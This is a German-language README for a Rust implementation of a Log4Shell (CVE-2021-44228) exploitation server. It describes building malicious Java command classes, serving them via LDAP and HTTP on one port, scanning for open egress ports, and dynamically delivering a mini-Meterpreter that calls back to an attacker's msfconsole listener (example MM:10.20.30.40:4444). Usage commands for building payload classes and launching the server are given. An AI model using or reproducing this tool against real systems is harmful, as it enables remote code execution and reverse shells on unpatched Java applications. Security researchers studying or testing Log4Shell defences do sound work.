
Rust-Implementierung der Log 4 Shell (log 4 j - CVE-2021-44228)
Rust-Implementierung der Log 4 Shell (log 4 j - CVE-2021-44228)
Zum Kompilieren führen Sie cargo +nightly build aus.
Diese Version ermöglicht es Ihnen, Befehlsklassen zu erstellen, dynamisch einen Mini-Meterpreter auszuliefern, der in einem Thread der angegriffenen Java-App läuft, und die LDAP- und HTTP-Server auszuführen. Diese Version bedient sowohl die LDAP- als auch HTTP-Anfragen über denselben Port.
Sie können gleichzeitig auf mehreren Ports laufen, um zu versuchen, welche Ports für den ausgehenden Verkehr (Egress) auf dem Zielsystem verfügbar sein könnten.
Wenn die Anfrage weder LDAP noch HTTP ist, kann sie die Anfrage dann über denselben Port als Proxy an eine andere Maschine weiterleiten. Wenn das Zielsystem nur einen Egress-Port hat, können Sie LDAP und HTTP bedienen und denselben Port nutzen, um die Meterpreter-Verbindung an einen anderen lokalen Port oder eine andere Maschine weiterzuleiten.
Diese Version erfordert kein installiertes javac mehr. Sie ermöglicht weiterhin dynamisches "Class Building", allerdings durch Veränderung vorkompilierter Klassen, die in der ausführbaren Datei eingebettet sind.
Diese Version fügt die von nmap definierten Top-100- und Top-1000-Ports hinzu. Verwenden Sie die Optionen --pC100 oder --pC1000.
Ein typischer Anwendungsfall besteht darin, eine oder mehrere Befehlsklassen zu erstellen und dann den Server zu starten.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
Sie können dann Cmd1 anfordern, und dies startet Firefox auf Linux und Calc unter Windows. Wenn Sie TouchMe anfordern, wird unter Linux /tmp/me berührt, und unter Windows wird nichts ausgeführt.
Sie können dann l4srs run --pC100 ausführen, um den Server auf den
Top-100-Ports zu starten und Cmd1 oder TouchMe auszuliefern.
Zusätzlich wird bei einer Anfrage von MM:Host:port dynamisch eine Mini-Meterpreter-Klasse erstellt, die den Host und Port aus der Anfrage kontaktiert. Wenn Ihre msfconsole auf 10.20.30.40 auf Port 4444 läuft, würden Sie MM:10.20.30.40:4444 anfordern. Diese wird nicht mit dem Build-Befehl erstellt, sondern dynamisch bei der Anfrage.
Diese Version ermöglicht das Erstellen und Ausliefern von Klassen aus einem In-Memory-Cache. Alle dynamischen MiniMeterpreter-Klassen berühren das Dateisystem nicht mehr. Zusätzlich wurden 2 neue Flags hinzugefügt. Das erste ist --no_fs, das erzwingt, dass wir niemals Dateien aus dem Dateisystem ausliefern. Das andere --allow_cmd ermöglicht den dynamischen Klassenaufbau, indem /build_cmd von einem offenen Port mit einer POST-Anfrage und einem JSON-Body mit den Feldern : class_name, l_cmd, w_cmd